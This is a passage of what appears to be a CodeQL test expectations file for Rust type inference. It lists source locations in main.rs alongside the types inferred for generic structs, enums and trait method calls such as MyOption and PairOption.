main.rs:795:15:795:18 | SelfParam | A | main.rs:793:10:793:10 | T | +| main.rs:795:26:797:9 | { ... } | | main.rs:793:10:793:10 | T | +| main.rs:796:13:796:16 | self | | main.rs:747:5:750:5 | MyThing | +| main.rs:796:13:796:16 | self | A | main.rs:793:10:793:10 | T | +| main.rs:796:13:796:18 | self.a | | main.rs:793:10:793:10 | T | +| main.rs:804:15:804:18 | SelfParam | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:804:15:804:18 | SelfParam | A | main.rs:802:10:802:10 | T | +| main.rs:804:35:806:9 | { ... } | | main.rs:747:5:750:5 | MyThing | +| main.rs:804:35:806:9 | { ... } | A | main.rs:802:10:802:10 | T | +| main.rs:805:13:805:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:805:13:805:33 | MyThing {...} | A | main.rs:802:10:802:10 | T | +| main.rs:805:26:805:29 | self | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:805:26:805:29 | self | A | main.rs:802:10:802:10 | T | +| main.rs:805:26:805:31 | self.a | | main.rs:802:10:802:10 | T | +| main.rs:813:44:813:44 | x | | main.rs:813:26:813:41 | T2 | +| main.rs:813:57:815:5 | { ... } | | main.rs:813:22:813:23 | T1 | +| main.rs:814:9:814:9 | x | | main.rs:813:26:813:41 | T2 | +| main.rs:814:9:814:14 | x.m1() | | main.rs:813:22:813:23 | T1 | +| main.rs:817:56:817:56 | x | | main.rs:817:39:817:53 | T | +| main.rs:819:13:819:13 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:819:13:819:13 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:819:17:819:17 | x | | main.rs:817:39:817:53 | T | +| main.rs:819:17:819:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | +| main.rs:819:17:819:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | +| main.rs:820:18:820:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:820:26:820:26 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:820:26:820:26 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:824:13:824:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:824:13:824:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:824:17:824:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:824:17:824:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:824:30:824:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:825:13:825:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:825:13:825:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:825:17:825:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:825:17:825:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:825:30:825:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:827:18:827:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:827:26:827:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:827:26:827:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:827:26:827:31 | x.m1() | | main.rs:757:5:758:14 | S1 | +| main.rs:828:18:828:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:828:26:828:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:828:26:828:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:828:26:828:31 | y.m1() | | main.rs:759:5:760:14 | S2 | +| main.rs:830:13:830:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:830:13:830:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:830:17:830:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:830:17:830:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:830:30:830:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:831:13:831:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:831:13:831:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:831:17:831:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:831:17:831:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:831:30:831:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:833:18:833:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:833:26:833:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:833:26:833:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:833:26:833:31 | x.m2() | | main.rs:757:5:758:14 | S1 | +| main.rs:834:18:834:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:834:26:834:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:834:26:834:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:834:26:834:31 | y.m2() | | main.rs:759:5:760:14 | S2 | +| main.rs:836:13:836:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:836:13:836:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:836:17:836:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:836:17:836:34 | MyThing2 {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:836:31:836:32 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:837:13:837:13 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:837:13:837:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:837:17:837:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:837:17:837:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:837:31:837:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:839:18:839:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:839:26:839:26 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:839:26:839:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:839:26:839:31 | x.m3() | | main.rs:757:5:758:14 | S1 | +| main.rs:840:18:840:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:840:26:840:26 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:840:26:840:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:840:26:840:31 | y.m3() | | main.rs:759:5:760:14 | S2 | +| main.rs:842:13:842:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:842:13:842:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:842:17:842:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:842:17:842:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:842:30:842:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:843:13:843:13 | s | | main.rs:757:5:758:14 | S1 | +| main.rs:843:17:843:32 | call_trait_m1(...) | | main.rs:757:5:758:14 | S1 | +| main.rs:843:31:843:31 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:843:31:843:31 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:845:13:845:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:845:13:845:13 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:845:17:845:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:845:17:845:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:845:31:845:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:846:13:846:13 | s | | main.rs:747:5:750:5 | MyThing | +| main.rs:846:13:846:13 | s | A | main.rs:759:5:760:14 | S2 | +| main.rs:846:17:846:32 | call_trait_m1(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:846:17:846:32 | call_trait_m1(...) | A | main.rs:759:5:760:14 | S2 | +| main.rs:846:31:846:31 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:846:31:846:31 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:864:22:864:22 | x | | file://:0:0:0:0 | & | +| main.rs:864:22:864:22 | x | &T | main.rs:864:11:864:19 | T | +| main.rs:864:35:866:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:864:35:866:5 | { ... } | &T | main.rs:864:11:864:19 | T | +| main.rs:865:9:865:9 | x | | file://:0:0:0:0 | & | +| main.rs:865:9:865:9 | x | &T | main.rs:864:11:864:19 | T | +| main.rs:869:17:869:20 | SelfParam | | main.rs:854:5:855:14 | S1 | +| main.rs:869:29:871:9 | { ... } | | main.rs:857:5:858:14 | S2 | +| main.rs:870:13:870:14 | S2 | | main.rs:857:5:858:14 | S2 | +| main.rs:874:21:874:21 | x | | main.rs:874:13:874:14 | T1 | +| main.rs:877:5:879:5 | { ... } | | main.rs:874:17:874:18 | T2 | +| main.rs:878:9:878:9 | x | | main.rs:874:13:874:14 | T1 | +| main.rs:878:9:878:16 | x.into() | | main.rs:874:17:874:18 | T2 | +| main.rs:882:13:882:13 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:882:17:882:18 | S1 | | main.rs:854:5:855:14 | S1 | +| main.rs:883:18:883:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:883:26:883:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:883:26:883:31 | id(...) | &T | main.rs:854:5:855:14 | S1 | +| main.rs:883:29:883:30 | &x | | file://:0:0:0:0 | & | +| main.rs:883:29:883:30 | &x | &T | main.rs:854:5:855:14 | S1 | +| main.rs:883:30:883:30 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:885:13:885:13 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:885:17:885:18 | S1 | | main.rs:854:5:855:14 | S1 | +| main.rs:886:18:886:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:886:26:886:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:886:26:886:37 | id::<...>(...) | &T | main.rs:854:5:855:14 | S1 | +| main.rs:886:35:886:36 | &x | | file://:0:0:0:0 | & | +| main.rs:886:35:886:36 | &x | &T | main.rs:854:5:855:14 | S1 | +| main.rs:886:36:886:36 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:888:13:888:13 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:888:17:888:18 | S1 | | main.rs:854:5:855:14 | S1 | +| main.rs:889:18:889:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:889:26:889:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:889:26:889:44 | id::<...>(...) | &T | main.rs:854:5:855:14 | S1 | +| main.rs:889:42:889:43 | &x | | file://:0:0:0:0 | & | +| main.rs:889:42:889:43 | &x | &T | main.rs:854:5:855:14 | S1 | +| main.rs:889:43:889:43 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:891:13:891:13 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:891:17:891:18 | S1 | | main.rs:854:5:855:14 | S1 | +| main.rs:892:9:892:25 | into::<...>(...) | | main.rs:857:5:858:14 | S2 | +| main.rs:892:24:892:24 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:894:13:894:13 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:894:17:894:18 | S1 | | main.rs:854:5:855:14 | S1 | +| main.rs:895:13:895:13 | y | | main.rs:857:5:858:14 | S2 | +| main.rs:895:21:895:27 | into(...) | | main.rs:857:5:858:14 | S2 | +| main.rs:895:26:895:26 | x | | main.rs:854:5:855:14 | S1 | +| main.rs:909:22:909:25 | SelfParam | | main.rs:900:5:906:5 | PairOption | +| main.rs:909:22:909:25 | SelfParam | Fst | main.rs:908:10:908:12 | Fst | +| main.rs:909:22:909:25 | SelfParam | Snd | main.rs:908:15:908:17 | Snd | +| main.rs:909:35:916:9 | { ... } | | main.rs:908:15:908:17 | Snd | +| main.rs:910:13:915:13 | match self { ... } | | main.rs:908:15:908:17 | Snd | +| main.rs:910:19:910:22 | self | | main.rs:900:5:906:5 | PairOption | +| main.rs:910:19:910:22 | self | Fst | main.rs:908:10:908:12 | Fst | +| main.rs:910:19:910:22 | self | Snd | main.rs:908:15:908:17 | Snd | +| main.rs:911:43:911:82 | MacroExpr | | main.rs:908:15:908:17 | Snd | +| main.rs:911:50:911:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:912:43:912:81 | MacroExpr | | main.rs:908:15:908:17 | Snd | +| main.rs:912:50:912:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:913:37:913:39 | snd | | main.rs:908:15:908:17 | Snd | +| main.rs:913:45:913:47 | snd | | main.rs:908:15:908:17 | Snd | +| main.rs:914:41:914:43 | snd | | main.rs:908:15:908:17 | Snd | +| main.rs:914:49:914:51 | snd | | main.rs:908:15:908:17 | Snd | +| main.rs:940:10:940:10 | t | | main.rs:900:5:906:5 | PairOption | +| main.rs:940:10:940:10 | t | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:940:10:940:10 | t | Snd | main.rs:900:5:906:5 | PairOption | +| main.rs:940:10:940:10 | t | Snd.Fst | main.rs:922:5:923:14 | S2 | +| main.rs:940:10:940:10 | t | Snd.Snd | main.rs:925:5:926:14 | S3 | +| main.rs:941:13:941:13 | x | | main.rs:925:5:926:14 | S3 | +| main.rs:941:17:941:17 | t | | main.rs:900:5:906:5 | PairOption | +| main.rs:941:17:941:17 | t | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:941:17:941:17 | t | Snd | main.rs:900:5:906:5 | PairOption | +| main.rs:941:17:941:17 | t | Snd.Fst | main.rs:922:5:923:14 | S2 | +| main.rs:941:17:941:17 | t | Snd.Snd | main.rs:925:5:926:14 | S3 | +| main.rs:941:17:941:29 | t.unwrapSnd() | | main.rs:900:5:906:5 | PairOption | +| main.rs:941:17:941:29 | t.unwrapSnd() | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:941:17:941:29 | t.unwrapSnd() | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:941:17:941:41 | ... .unwrapSnd() | | main.rs:925:5:926:14 | S3 | +| main.rs:942:18:942:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:942:26:942:26 | x | | main.rs:925:5:926:14 | S3 | +| main.rs:947:13:947:14 | p1 | | main.rs:900:5:906:5 | PairOption | +| main.rs:947:13:947:14 | p1 | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:947:13:947:14 | p1 | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:947:26:947:53 | ...::PairBoth(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:947:26:947:53 | ...::PairBoth(...) | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:947:26:947:53 | ...::PairBoth(...) | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:947:47:947:48 | S1 | | main.rs:919:5:920:14 | S1 | +| main.rs:947:51:947:52 | S2 | | main.rs:922:5:923:14 | S2 | +| main.rs:948:18:948:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:948:26:948:27 | p1 | | main.rs:900:5:906:5 | PairOption | +| main.rs:948:26:948:27 | p1 | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:948:26:948:27 | p1 | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:951:13:951:14 | p2 | | main.rs:900:5:906:5 | PairOption | +| main.rs:951:13:951:14 | p2 | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:951:13:951:14 | p2 | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:951:26:951:47 | ...::PairNone(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:951:26:951:47 | ...::PairNone(...) | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:951:26:951:47 | ...::PairNone(...) | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:952:18:952:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:952:26:952:27 | p2 | | main.rs:900:5:906:5 | PairOption | +| main.rs:952:26:952:27 | p2 | Fst | main.rs:919:5:920:14 | S1 | +| main.rs:952:26:952:27 | p2 | Snd | main.rs:922:5:923:14 | S2 | +| main.rs:955:13:955:14 | p3 | | main.rs:900:5:906:5 | PairOption | +| main.rs:955:13:955:14 | p3 | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:955:13:955:14 | p3 | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:955:34:955:56 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:955:34:955:56 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:955:34:955:56 | ...::PairSnd(...) | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:955:54:955:55 | S3 | | main.rs:925:5:926:14 | S3 | +| main.rs:956:18:956:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:956:26:956:27 | p3 | | main.rs:900:5:906:5 | PairOption | +| main.rs:956:26:956:27 | p3 | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:956:26:956:27 | p3 | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:959:13:959:14 | p3 | | main.rs:900:5:906:5 | PairOption | +| main.rs:959:13:959:14 | p3 | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:959:13:959:14 | p3 | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:959:35:959:56 | ...::PairNone(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:959:35:959:56 | ...::PairNone(...) | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:959:35:959:56 | ...::PairNone(...) | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:960:18:960:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:960:26:960:27 | p3 | | main.rs:900:5:906:5 | PairOption | +| main.rs:960:26:960:27 | p3 | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:960:26:960:27 | p3 | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:962:11:962:54 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:962:11:962:54 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd | main.rs:900:5:906:5 | PairOption | +| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd.Fst | main.rs:922:5:923:14 | S2 | +| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd.Snd | main.rs:925:5:926:14 | S3 | +| main.rs:962:31:962:53 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | +| main.rs:962:31:962:53 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | +| main.rs:962:31:962:53 | ...::PairSnd(...) | Snd | main.rs:925:5:926:14 | S3 | +| main.rs:962:51:962:52 | S3 | | main.rs:925:5:926:14 | S3 | +| main.rs:975:16:975:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:975:16:975:24 | SelfParam | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | +| main.rs:975:27:975:31 | value | | main.rs:973:19:973:19 | S | +| main.rs:977:21:977:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:977:21:977:29 | SelfParam | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | +| main.rs:977:32:977:36 | value | | main.rs:973:19:973:19 | S | +| main.rs:978:13:978:16 | self | | file://:0:0:0:0 | & | +| main.rs:978:13:978:16 | self | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | +| main.rs:978:22:978:26 | value | | main.rs:973:19:973:19 | S | +| main.rs:984:16:984:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:984:16:984:24 | SelfParam | &T | main.rs:967:5:971:5 | MyOption | +| main.rs:984:16:984:24 | SelfParam | &T.T | main.rs:982:10:982:10 | T | +| main.rs:984:27:984:31 | value | | main.rs:982:10:982:10 | T | +| main.rs:988:26:990:9 | { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:988:26:990:9 | { ... } | T | main.rs:987:10:987:10 | T | +| main.rs:989:13:989:30 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:989:13:989:30 | ...::MyNone(...) | T | main.rs:987:10:987:10 | T | +| main.rs:994:20:994:23 | SelfParam | | main.rs:967:5:971:5 | MyOption | +| main.rs:994:20:994:23 | SelfParam | T | main.rs:967:5:971:5 | MyOption | +| main.rs:994:20:994:23 | SelfParam | T.T | main.rs:993:10:993:10 | T | +| main.rs:994:41:999:9 | { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:994:41:999:9 | { ... } | T | main.rs:993:10:993:10 | T | +| main.rs:995:13:998:13 | match self { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:995:13:998:13 | match self { ... } | T | main.rs:993:10:993:10 | T | +| main.rs:995:19:995:22 | self | | main.rs:967:5:971:5 | MyOption | +| main.rs:995:19:995:22 | self | T | main.rs:967:5:971:5 | MyOption | +| main.rs:995:19:995:22 | self | T.T | main.rs:993:10:993:10 | T | +| main.rs:996:39:996:56 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:996:39:996:56 | ...::MyNone(...) | T | main.rs:993:10:993:10 | T | +| main.rs:997:34:997:34 | x | | main.rs:967:5:971:5 | MyOption | +| main.rs:997:34:997:34 | x | T | main.rs:993:10:993:10 | T | +| main.rs:997:40:997:40 | x | | main.rs:967:5:971:5 | MyOption | +| main.rs:997:40:997:40 | x | T | main.rs:993:10:993:10 | T | +| main.rs:1006:13:1006:14 | x1 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1006:18:1006:37 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1007:18:1007:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1007:26:1007:27 | x1 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1009:13:1009:18 | mut x2 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1009:13:1009:18 | mut x2 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1009:22:1009:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1009:22:1009:36 | ...::new(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1010:9:1010:10 | x2 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1010:9:1010:10 | x2 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1010:16:1010:16 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1011:18:1011:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1011:26:1011:27 | x2 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1011:26:1011:27 | x2 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1013:13:1013:18 | mut x3 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1013:22:1013:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1014:9:1014:10 | x3 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1014:21:1014:21 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1015:18:1015:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1015:26:1015:27 | x3 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1017:13:1017:18 | mut x4 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1017:13:1017:18 | mut x4 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1017:22:1017:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1017:22:1017:36 | ...::new(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1018:23:1018:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:1018:23:1018:29 | &mut x4 | &T | main.rs:967:5:971:5 | MyOption | +| main.rs:1018:23:1018:29 | &mut x4 | &T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1018:28:1018:29 | x4 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1018:28:1018:29 | x4 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1018:32:1018:32 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1019:18:1019:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1019:26:1019:27 | x4 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1019:26:1019:27 | x4 | T | main.rs:1002:5:1003:13 | S | +| main.rs:1021:13:1021:14 | x5 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1021:13:1021:14 | x5 | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1021:13:1021:14 | x5 | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1021:18:1021:58 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1021:18:1021:58 | ...::MySome(...) | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1021:18:1021:58 | ...::MySome(...) | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1021:35:1021:57 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1021:35:1021:57 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1022:18:1022:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1022:26:1022:27 | x5 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1022:26:1022:27 | x5 | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1022:26:1022:27 | x5 | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1022:26:1022:37 | x5.flatten() | | main.rs:967:5:971:5 | MyOption | +| main.rs:1022:26:1022:37 | x5.flatten() | T | main.rs:1002:5:1003:13 | S | +| main.rs:1024:13:1024:14 | x6 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1024:13:1024:14 | x6 | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1024:13:1024:14 | x6 | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1024:18:1024:58 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1024:18:1024:58 | ...::MySome(...) | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1024:18:1024:58 | ...::MySome(...) | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1024:35:1024:57 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1024:35:1024:57 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1025:18:1025:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1025:26:1025:61 | ...::flatten(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1025:26:1025:61 | ...::flatten(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1025:59:1025:60 | x6 | | main.rs:967:5:971:5 | MyOption | +| main.rs:1025:59:1025:60 | x6 | T | main.rs:967:5:971:5 | MyOption | +| main.rs:1025:59:1025:60 | x6 | T.T | main.rs:1002:5:1003:13 | S | +| main.rs:1027:13:1027:19 | from_if | | main.rs:967:5:971:5 | MyOption | +| main.rs:1027:13:1027:19 | from_if | T | main.rs:1002:5:1003:13 | S | +| main.rs:1027:23:1031:9 | if ... {...} else {...} | | main.rs:967:5:971:5 | MyOption | +| main.rs:1027:23:1031:9 | if ... {...} else {...} | T | main.rs:1002:5:1003:13 | S | +| main.rs:1027:26:1027:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1027:30:1027:30 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1027:34:1027:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1027:36:1029:9 | { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:1027:36:1029:9 | { ... } | T | main.rs:1002:5:1003:13 | S | +| main.rs:1028:13:1028:30 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1028:13:1028:30 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1029:16:1031:9 | { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:1029:16:1031:9 | { ... } | T | main.rs:1002:5:1003:13 | S | +| main.rs:1030:13:1030:31 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1030:13:1030:31 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1030:30:1030:30 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1032:18:1032:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1032:26:1032:32 | from_if | | main.rs:967:5:971:5 | MyOption | +| main.rs:1032:26:1032:32 | from_if | T | main.rs:1002:5:1003:13 | S | +| main.rs:1034:13:1034:22 | from_match | | main.rs:967:5:971:5 | MyOption | +| main.rs:1034:13:1034:22 | from_match | T | main.rs:1002:5:1003:13 | S | +| main.rs:1034:26:1037:9 | match ... { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:1034:26:1037:9 | match ... { ... } | T | main.rs:1002:5:1003:13 | S | +| main.rs:1034:32:1034:32 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1034:36:1034:36 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1034:40:1034:40 | 